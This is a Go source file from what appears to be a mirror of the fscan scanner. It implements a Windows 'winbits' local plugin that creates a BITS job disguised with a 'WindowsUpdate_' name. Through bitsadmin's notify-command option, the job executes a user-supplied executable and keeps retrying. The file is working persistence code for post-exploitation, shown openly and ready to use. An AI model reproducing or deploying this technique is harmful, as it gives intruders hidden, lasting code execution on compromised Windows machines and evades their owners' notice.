mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-21 19:00:42 +08:00
100 lines
2.9 KiB
Go
100 lines
2.9 KiB
Go
//go:build (plugin_winbits || !plugin_selective) && windows && !no_local
|
|
|
|
package local
|
|
|
|
import (
|
|
"context"
|
|
"fmt"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"strings"
|
|
|
|
"github.com/shadow1ng/fscan/common"
|
|
"github.com/shadow1ng/fscan/common/i18n"
|
|
"github.com/shadow1ng/fscan/plugins"
|
|
)
|
|
|
|
type WinBITSPlugin struct {
|
|
plugins.BasePlugin
|
|
}
|
|
|
|
func NewWinBITSPlugin() *WinBITSPlugin {
|
|
return &WinBITSPlugin{BasePlugin: plugins.NewBasePlugin("winbits")}
|
|
}
|
|
|
|
func (p *WinBITSPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
|
pePath := session.Config.WinPEFile
|
|
if pePath == "" {
|
|
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
|
|
}
|
|
if _, err := os.Stat(pePath); err != nil {
|
|
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
|
|
}
|
|
|
|
absPath, _ := filepath.Abs(pePath)
|
|
baseName := strings.TrimSuffix(filepath.Base(absPath), filepath.Ext(absPath))
|
|
jobName := fmt.Sprintf("WindowsUpdate_%s", baseName)
|
|
|
|
var output strings.Builder
|
|
|
|
// 创建任务并提取 GUID
|
|
out, err := exec.Command("bitsadmin", "/create", "/download", jobName).CombinedOutput()
|
|
if err != nil {
|
|
output.WriteString(i18n.Tr("winbits_create_task_failed", strings.TrimSpace(string(out))) + "\n")
|
|
return &plugins.Result{Success: false, Output: output.String()}
|
|
}
|
|
|
|
guid := ""
|
|
for _, line := range strings.Split(string(out), "\n") {
|
|
if idx := strings.Index(line, "{"); idx != -1 {
|
|
if end := strings.Index(line[idx:], "}"); end != -1 {
|
|
guid = line[idx : idx+end+1]
|
|
break
|
|
}
|
|
}
|
|
}
|
|
if guid == "" {
|
|
output.WriteString(i18n.GetText("winbits_guid_extract_failed") + "\n")
|
|
return &plugins.Result{Success: false, Output: output.String()}
|
|
}
|
|
output.WriteString(i18n.Tr("winbits_task_created", jobName, guid) + "\n")
|
|
|
|
steps := []struct {
|
|
desc string
|
|
args []string
|
|
}{
|
|
{i18n.GetText("winbits_add_file"), []string{"/addfile", guid, "http://localhost/update", fmt.Sprintf(`%s\%s_tmp`, os.TempDir(), baseName)}},
|
|
{i18n.GetText("winbits_set_callback"), []string{"/SetNotifyCmdLine", guid, absPath, "NUL"}},
|
|
{i18n.GetText("winbits_set_retry"), []string{"/SetMinRetryDelay", guid, "60"}},
|
|
{i18n.GetText("winbits_resume_task"), []string{"/resume", guid}},
|
|
}
|
|
|
|
successCount := 1
|
|
for _, step := range steps {
|
|
out, err := exec.Command("bitsadmin", step.args...).CombinedOutput()
|
|
if err != nil {
|
|
output.WriteString(i18n.Tr("local_step_failed", step.desc, strings.TrimSpace(string(out))) + "\n")
|
|
continue
|
|
}
|
|
output.WriteString(i18n.Tr("local_step_success", step.desc) + "\n")
|
|
successCount++
|
|
}
|
|
|
|
if successCount >= 3 {
|
|
common.LogSuccess(i18n.Tr("winbits_success", jobName))
|
|
}
|
|
|
|
return &plugins.Result{
|
|
Success: successCount >= 3,
|
|
Type: plugins.ResultTypeService,
|
|
Output: output.String(),
|
|
}
|
|
}
|
|
|
|
func init() {
|
|
RegisterLocalPlugin("winbits", func() Plugin {
|
|
return NewWinBITSPlugin()
|
|
})
|
|
}
|